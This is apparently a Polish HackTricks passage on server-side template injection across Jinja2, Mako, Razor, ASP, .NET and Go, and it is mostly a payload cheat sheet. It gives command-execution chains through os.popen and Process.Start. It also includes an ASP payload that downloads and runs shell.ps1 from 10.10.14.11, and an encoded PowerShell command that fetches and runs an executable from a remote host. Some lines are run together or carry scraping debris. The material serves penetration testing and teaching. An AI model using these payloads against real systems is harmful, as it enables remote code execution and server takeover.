Jinja2 to w pełni funkcjonalny silnik szablonów dla Pythona. Posiada pełne wsparcie dla Unicode, opcjonalne zintegrowane, odizolowane (sandboxed) środowisko wykonawcze, jest szeroko używany i licencjonowany na BSD.
{{7*7}} = Error${7*7} = ${7*7}{{foobar}} Nothing{{4*4}}[[5*5]]{{7*'7'}} = 7777777{{config}}{{config.items()}}{{settings.SECRET_KEY}}{{settings}}<div data-gb-custom-block data-tag="debug"></div>
{% raw %}
{% debug %}
{% endraw %}
{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777
Jinja2 - format szablonu
{% raw %}
{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}
{% endraw %}
RCE niezależne od __builtins__:
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}
# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}
Więcej informacji o tym, jak wykorzystywać Jinja:
Inne payloady w https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2
Mako (Python)
<%
import os
x=os.popen('id').read()
%>
${x}
Więcej informacji
Inne (Python)
 (1).png)
https://miro.medium.com/v2/resize:fit:640/format:webp/1*3RO051EgizbEer-mdHD8Kg.jpeg
 (1).png)
https://miro.medium.com/v2/resize:fit:640/format:webp/1*GY1Tij_oecuDt4EqINNAwg.jpeg
- Więcej informacji w https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
Razor (.Net)
@(2+2) <= Success@() <= Success@("{{code}}") <= Success@ <=Success@{} <= ERROR!@{ <= ERRROR!@(1+2)@( //C#Code )@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");
The .NET System.Diagnostics.Process.Start method can be used to start any process on the server and thus create a webshell. You can find a vulnerable webapp example in https://github.com/cnotin/RazorVulnerableApp
Więcej informacji
- https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/
- https://www.schtech.co.uk/razor-pages-ssti-rce/
ASP
<%= 7*7 %>= 49<%= "foo" %>= foo<%= foo %>= Nothing<%= response.write(date()) %>= <Date>
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>
Więcej informacji
.Net Omijanie restrykcji
Mechanizmy .NET Reflection mogą być użyte do obejścia blacklistingu lub gdy klasy nie są obecne w assembly. DLL-y mogą być ładowane w czasie wykonywania z metodami i właściwościami dostępnymi z podstawowych obiektów.
DLL-y można ładować za pomocą:
{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?"))}- z systemu plików.{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("Load", [typeof(byte[])]).Invoke(null, [Convert.FromBase64String("Base64EncodedDll")])}- bezpośrednio z żądania.
Pełne wykonanie polecenia:
{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?")).GetType("System.Diagnostics.Process").GetMethods().GetValue(0).Invoke(null, "/bin/bash,-c ""whoami""".Split(","))}
Więcej informacji
Mojolicious (Perl)
Nawet jeśli to Perl, używa tagów podobnych do ERB w Ruby.
<%= 7*7 %> = 49<%= foobar %> = Error
<%= perl code %>
<% perl code %>
SSTI w GO
W silniku templatek Go potwierdzenie jego użycia można przeprowadzić za pomocą konkretnych payloadów:
{{ . }}: Odkrywa wejściową strukturę danych. Na przykład, jeśli zostanie przekazany obiekt z atrybutemPassword,{{ .Password }}może go ujawnić.{{printf "%s" "ssti" }}: Powinno wyświetlić ciąg znaków “ssti”.{{html "ssti"}},{{js "ssti"}}: Te payloady powinny zwrócić “ssti” bez dodawania “html” lub “js”. Dalsze dyrektywy można sprawdzić w dokumentacji Go here.
.png)
https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg
Wykorzystanie XSS
W pakiecie text/template XSS może być prosty do wykonania przez bezpośrednie wstawienie payloadu. Natomiast pakiet html/template enkoduje odpowiedź, aby temu zapobiec (np. {{"<script>alert(1)</script>"}} daje <script>alert(1)</script>). Niemniej jednak definicja i wywołanie templatek w Go mogą obejść to kodowanie: {{define “T1”}}alert(1){{end}} {{template “T1”}}
vbnet Kopiuj kod
Wykorzystanie RCE
Wykorzystanie RCE różni się znacząco między html/template a text/template. Moduł text/template pozwala na bezpośrednie wywoływanie dowolnej funkcji publicznej (używając wartości “call”), czego nie pozwala html/template. Dokumentacja tych modułów jest dostępna here for html/template i here for text/template.
W przypadku RCE przez SSTI w Go można wywoływać metody obiektów. Na przykład, jeśli przekazany obiekt ma metodę System wykonującą polecenia, można ją wykorzystać jak {{ .System "ls" }}. Zwykle konieczny jest dostęp do źródła, aby to wykorzystać, jak w podanym przykładzie:
func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}
Więcej informacji
- https://blog.takemyhand.xyz/2020/06/ssti-breaking-gos-template-engine-to
- https://www.onsecurity.io/blog/go-ssti-method-research/
LESS (CSS Preprocessor)
LESS jest popularnym preprocesorem CSS, który dodaje zmienne, mixiny, funkcje oraz potężną dyrektywę @import. Podczas kompilacji silnik LESS będzie pobierać zasoby odwołane w instrukcjach @import i osadzać (“inline”) ich zawartość w wynikowym CSS, gdy użyta jest opcja (inline).
{{#ref}} ../xs-search/css-injection/less-code-injection.md {{/ref}}
More Exploits
Sprawdź resztę https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection for more exploits. Możesz też znaleźć interesujące informacje o tagach w https://github.com/DiogoMRSilva/websitesVulnerableToSSTI
BlackHat PDF
Related Help
Jeśli uważasz, że może to być przydatne, przeczytaj:
Narzędzia
- https://github.com/Hackmanit/TInjA
- https://github.com/vladko312/sstimap
- https://github.com/epinna/tplmap
- https://github.com/Hackmanit/template-injection-table
Brute-Force Detection List
Auto_Wordlists/wordlists/ssti.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub
Praktyka i odniesienia
- https://portswigger.net/web-security/server-side-template-injection/exploiting
- https://github.com/DiogoMRSilva/websitesVulnerableToSSTI
- https://portswigger.net/web-security/server-side-template-injection
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
HackTricks

